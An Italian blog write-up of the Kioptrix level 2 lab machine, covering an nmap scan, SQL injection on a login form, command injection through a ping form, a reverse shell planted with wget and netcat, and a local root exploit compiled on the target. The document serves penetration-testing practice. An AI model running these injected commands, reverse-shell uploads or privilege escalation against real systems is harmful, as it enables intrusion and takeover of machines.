Dopo lo scorso articolo su Kioptrix, eccoci qui con il secondo livello! La macchina virtuale da scaricare è presente a questo indirizzo, mentre per l’installazione consiglio di guardare la guida del primo livello.
Per chiunque sia qui per la prima volta, consiglio oltre alla visione del livello 1, anche gli articoli sul Footprinting e sullo Scanning.
Scansiono l’indirizzo IP locale della macchina virtuale con nmap e nikto, in modo da vedere quali porte sono aperte, e se c’è un modo per entrare e trovare la password del dispositivo (ricordo che non sto eseguendo una scansione anonima o stealth, ma utilizzo comandi abbastanza ‘invadenti’, i quali in una situazione reale potrebbero essere immediatamente scoperti).
Dopo aver trovato l’indirizzo IP locale della macchina (basta utilizzare il comando -sn di nmap) scansiono tutte le porte alla ricerca di quelle aperte
root@kali:~/Desktop# nmap -sTUV 192.168.1.104
Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-30 13:27 CEST
Stats: 0:03:17 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 19.40% done; ETC: 13:43 (0:12:44 remaining)
Nmap scan report for 192.168.1.104
Host is up (0.049s latency).
Not shown: 1991 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)
68/udp open|filtered dhcpc
111/udp open rpcbind 2 (RPC #100000)
631/udp open|filtered ipp
MAC Address: F0:7D:68:F5:B9:00 (D-Link)
Noto che c’è un servizio aperto (Apache) sulla porta 80, per cui con il browser digito l’indirizzo IP e trovo una schermata di login
La prima cosa che mi viene in mente è effettuare un attacco bruteforce con hydra, ma dopo parecchi tentativi sembra che non si riesca ad entrare. Provo quindi a vedere se è possibile compiere sql injection nel form di login utilizzando Burp Suite.
Utilizzando la solita lista, seleziono “MySQL_MSSQL.fuzz” il quale contiene una lista di SQL injection abbastanza generici.
Faccio partire l’attacco e scopro che effettivamente è vulnerabile! Infatti sono riuscito ad entrare e mi trovo davanti un’altro form, questa volta un test che effettua ping.
Come prima, provo a cercare nella lista di file contenente gli attacchi ciò che potrebbe fare al caso mio, e dopo averne provati un paio senza risultato, scelgo “command-execution-unix.fuzz”, ossia una lista di comandi eseguibili per unix da testare nel form. Imposto Burp Suite e faccio partire di nuovo l’attacco
Come si può notare l’attacco ha funzionato, e mi vedo stampato il file contenente le password. Purtroppo è vuoto, provo a modificare il percorso inserendone altri noti ma sembra che non abbia i permessi necessari. Ma da questo punto in poi l’exploit sarà solo che in discesa. L’aver scoperto che da un semplice form si possono eseguire comandi diretti sulla macchina significa che potremo caricare qualsiasi file ed eseguirlo senza nessuna restrizione.
Digito il comando
; uname -a
il quale ci permette di determinare la versione del kernel presente sulla macchina. Il punto e virgola iniziale serve per differenziare le operazioni. Come prima istruzione la macchina effettua un ping con la stringa vuota, mentre la seconda istruzione (quella che vogliamo che effettui) la esegue successivamente. Se non lo mettessi cercherebbe di riconoscere il comando come una ping ad un indirizzo IP, cosa che non ci porterebbe a nulla.
L’idea ora è quella di riuscire a creare una connessione tra la mia macchina e Kioptrix, caricando su di esso una backdoor. Kali ha alcune semplici backdoor da poter utilizzare in questi casi, si trovano in /usr/share/webshells/. Avendo a che fare con un server, seleziono il file php-reverse-shell.php presente nella cartella php e lo copio sul Desktop. Una reverse shell ti permette di collegarti ad una macchina e prendere possesso del suo terminale. Sarebbe stato possibile crearla anche utilizzando bash e per chi vuole provare si possono trovare informazioni utili a questo indirizzo.
Come sempre, ricordo di leggere gli script che utilizzate e cercate di comprenderli. In questo caso infatti, bisogna modificare un paio di righe che rappresentano l’ip locale del nostro dispositivo e la porta che vogliamo utilizzare (nel mio caso 31333).
Dopo averlo modificato apro una connessione sulla porta selezionata con questo comando
cat php-reverse-shell.php | nc -l -p 31333
In questo modo invio il contenuto del file a qualsiasi dispositivo che lo richiede sulla porta specificata tramite netcat, il quale ci permette di creare una comunicazione remota tra la nostra macchina e kioptrix.
Mentre è in attesa di una richiesta, digito nel form del sito il comando che mi permette di ricevere il file e copiarlo in una cartella che non richiede privilegi Il comando è
; wget 192.168.1.111:31333 -O /tmp/rshell.php
Wget è un gestore di download a riga di comando. Nel nostro caso ho passato l’indirizzo IP della mia macchina e la porta scelta precedentemente, mentre l’opzione _-O _ci permette di selezionare la cartella di destinazione. In questo modo viene caricato il file rshell.php nella cartella tmp (vedrete infatti che sul terminale è stata avviata una connessione tra le due macchine) Ora si può chiudere la connessione digitando “CTRL+c” sul terminale. Adesso bisogna fare in modo di avviare quell’applicazione php, eseguendo di nuovo netcat
nc -l -p 31333
e sul form eseguiamo il file appena caricato Sul terminale si può notare che siamo riusciti ad entrare nella macchina, ma senza nessun permesso, quindi ancora non riusciamo a vedere le password.
Ora bisogna riuscire ad ottenere i privilegi di root (privilege escalation) e aprire finalmente il file con le password. Usiamo searchsploit per trovare una vulnerabilità **N.B.:**Io scelgo il 9542.c poichè già lo conoscevo. Vi consiglio caldamente di provarne altri, non necessariamente solo questo potrebbe funzionare. Per caricarlo utilizziamo un metodo molto simile a quello precedente, solo che stavolta procederemo da terminale, poichè abbiamo l’accesso. Dal mio dispositivo eseguo questi comandi
root@kali:# service apache2 start
root@kali:# cp /usr/share/exploitdb/platforms/linux/local/9542.c /var/www/html
ossia avvio il server apache che mi permetterà (dalla macchina Kioptrix) di eseguire l’exploit e copio il file dentro la cartella del server. Dal terminale con cui controllo il dispositivo invece digito
sh-3.00$ wget http://192.168.1.111/9542.c /*ossia scarico il file appena copiato sul mio server*/
--12:38:51-- http://192.168.1.111/9542.c
=> `9542.c'
Connecting to 192.168.1.111:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,645 (2.6K) [text/x-csrc]
0K .. 100% 2.96 MB/s
12:38:51 (2.96 MB/s) - `9542.c' saved [2645/2645]
sh-3.00$ gcc 9542.c -o a.out /*compilo il file c */
sh-3.00$ chmod 777 a.out /*cambio i permessi, altrimenti non lo esegue*/
sh-3.00$ ./a.out /*eseguo il file*/
sh: no job control in this shell
Per vedere se ha funzionato, controllo chi rappresento in questo momento e cerco di visualizzare il file di password tanto agognato
Ed ecco che siamo riusciti a guadagnare l’accesso al root. Ora possiamo cambiare la password del sistema e accedervi oppure passare il file contenente le password a John che proverà a craccarle (sarei propenso alla prima, visto che non sappiamo quanto possono essere complesse)
Questo livello era decisamente più complesso rispetto allo scorso, in quanto dovevamo effettuare più passaggi. Ricapitolando abbiamo eseguito:
Spero di essere riuscito a spiegare dettagliatamente ogni passaggio, per ogni dubbio commentate e sarò ben lieto di rispondervi!